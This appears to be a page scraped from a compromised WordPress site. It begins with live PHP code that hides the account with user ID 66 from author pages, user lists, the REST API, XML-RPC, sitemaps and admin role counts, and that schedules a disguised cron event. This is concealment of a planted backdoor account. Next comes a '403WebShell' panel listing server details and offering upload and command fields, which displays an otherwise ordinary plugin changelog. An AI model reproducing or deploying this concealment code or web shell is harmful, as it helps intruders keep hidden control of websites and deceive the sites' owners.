add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/biotraubensaft/wp-content/plugins/display-posts-shortcode/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/biotraubensaft/wp-content/plugins/display-posts-shortcode/CHANGELOG.md
# Change Log
All notable changes to this project will be documented in this file, formatted via [this recommendation](http://keepachangelog.com/).

### [3.0.3]
#### Changed
* Bumped the "Tested To" number to WP 6.6
* Updated text of the plugin notice

### [3.0.2]
#### Added
* Added `pre_display_posts_shortcode_output` filter before shortcode runs, used for transient caching, see #210

#### Changed
* Updated plugin to pass coding standards, see #214
* Removed survey admin notice, see #213
* Don't display empty term list, see #208
* Improved spacing around excerpt dash, see #219

### [3.0.1]
#### Changed
* Don't add empty parameters to the query, see #207

### [3.0.0]
#### Added
* Added author_id parameter, see #195
* Added has_password parameter
* Added s parameter for performing a site search, see #184
* Added date_format="relative" format option (ex: 2 days ago), see #194
* Added post_parent__in and post_parent__not_in parameters, see #193
* Added excerpt_dash="false" option to disable dash in excerpt, see #204
* Added additional parameters to the `display_posts_shortcode_output` filter
* Added additional parameters to the `display_posts_shortcode_category_display` filter, see #185
* $dps_listing loop now accessible globally, see #198
* $dps_listing loop now accessible in open/close filters
* Added .excerpt-more class to excerpt more text, see #205

#### Changed
* excerpt_more text is always appended to end of excerpt, see #197
* In parameters that support multiple terms, they can now be separated with a comma or comma-space, see #183

### [2.9.0]
#### Added
* New parameter `exclude` for excluding specific post IDs, see #154
* New parameter `category_id` for specifying category by ID (note: only accepts a single ID), see #156
* New parameter `include_date_modified` for displaying the date the post was last updated, see #150

#### Fixed
* Shortcode title now appears above the wrapper (ul/ol/div), fixing invalid markup, see #165
* Limit visibility to readable posts

### [2.8.0]
#### Added
* Set include_link="false" to remove link from post title and image, see [#137](https://github.com/billerickson/display-posts-shortcode/pull/137)

#### Fixed
* Category display when using multiple post types, see [#143](https://github.com/billerickson/display-posts-shortcode/issues/143)
* Issue combining multiple taxonomies, see [#131](https://github.com/billerickson/display-posts-shortcode/issues/131)

### [2.7.0]
#### Added
* Support for [Co-Authors Plus Addon](https://github.com/billerickson/dps-coauthor-addon)
* `tax_include_children` parameter for tax queries. See [#120](https://github.com/billerickson/display-posts-shortcode/issues/120)
* New filter to display the full version of manual excerpt, regardless of excerpt_length. See [#123](https://github.com/billerickson/display-posts-shortcode/issues/123)

#### Fixed
* Removed shortcodes from custom excerpts, see [#113](https://github.com/billerickson/display-posts-shortcode/issues/113)
* Fixed private post visiblity, see [#115](https://github.com/billerickson/display-posts-shortcode/issues/115)

### [2.6.2] = 2016-06-05

#### Fixed
* More improvements to excerpts, see [#110](https://github.com/billerickson/display-posts-shortcode/issues/110)
* Fix date query bug, see #108
* Fixed undefined variable notice if include_title="false"

#### Added
* Added content_class parameter

### [2.6.1] = 2016-05-16

#### Fixed
* Fix issue with manually specified excerpts

### [2.6.0] = 2016-05-16

#### Added
* Add support for author="current"
* Add support for multiple wrapper classes
* Add support for excerpt_length parameter
* Add support for excerpt_more parameter

### [2.5.1]
#### Fixed
* Fix an issue with manually specified excerpts

### [2.5.0]
#### Added
* Add support for date queries
* Exclude child pages with post_parent="0"
* Query by current taxonomy terms. Ex: [display-posts taxonomy="category" tax_term="current"]
* Display the post's categories with [display-posts category_display="true"]
* Many more fixes. See GitHub for a full list of changes.

### [2.4.0]
#### Added
* Add 'include_author' parameter
* Add 'exclude_current' parameter for excluding the current post from the results
* If you display the full content of results, additional uses of the shortcode within those posts are now turned off
* Other minor improvements

### [2.3.0]
#### Added
* Include the shortcode attributes on wrapper filter
* Add 'no_posts_message' parameter to specify content displayed if no posts found
* Add filters to the title and permalink
* Limit private posts to logged in users
* Add support for excluding sticky posts
* Add support for ordering by meta_key

### [2.2.0]
#### Added
* Use original attributes for filters
* Add support for multiple taxonomy queries
* Add filter for post classes
* Add support for post content in the post loop

### [2.1.0]
#### Added
* Add support for post status
* Add support for post author
* Add support for post offset

### [2.0.0]
#### Added
* Explicitly declare arguments, props danielbachhuber
* Sanitize each shortcode attribute for security, props danielbachhuber

### [1.9.0]
#### Added
* Add 'date_format' parameter, so you can customize how dates are displayed
* Added a class of .excerpt-dash so CSS can be used to remove the dash
* Cleaned up the codebase according to WordPress coding standards

### [1.8.0]
#### Added
* Added `display_posts_shortcode_no_results` filter for displaying content if there's no posts matching current query.
* Add support for multiple post types. [display-posts post_type="page, post"]

### [1.7.0]
#### Added
* Added `id` argument to specify specific post IDs
* Added `display_posts_shortcode_args` filter in case the arguments you want aren't already included in the shortcode. See example: http://www.billerickson.net/code/display-posts-shortcode-exclude-posts/

### [1.6.0]
#### Added
* Added `post_parent` where you can specify a parent by ID, or you can say `post_parent=current` and it will use the current page's ID.
* Added `wrapper` where you can decide if the posts are an unordered list, ordered list, or div's
* Added support for multiple taxonomy terms (comma separated) and taxonomy operator (IN, NOT IN, or AND).

### [1.5.0]
#### Fixed
* For the sake of clarity I'm changing version numbers. No feature changes

### [0.1.5]
#### Added
* Added a filter (display_posts_shortcode_output) so you can modify the output of individual posts however you like.

### [0.1.4]
#### Added
* Added post_type, taxonomy, tax_term, and include_excerpt
* Added classes to each part of the listing (image, title, date, excerpt) to make it easier to change the look using CSS

### [0.1.3]
#### Added
* Updated Readme

### [0.1.2]
#### Added
* Added image_size option

### [0.1.1]
#### Fixed
* Fix spacing issue in plugin

### [0.1.0]
#### Added
* This is version 0.1.  Everything's new!

Youez - 2016 - github.com/yon3zu
LinuXploit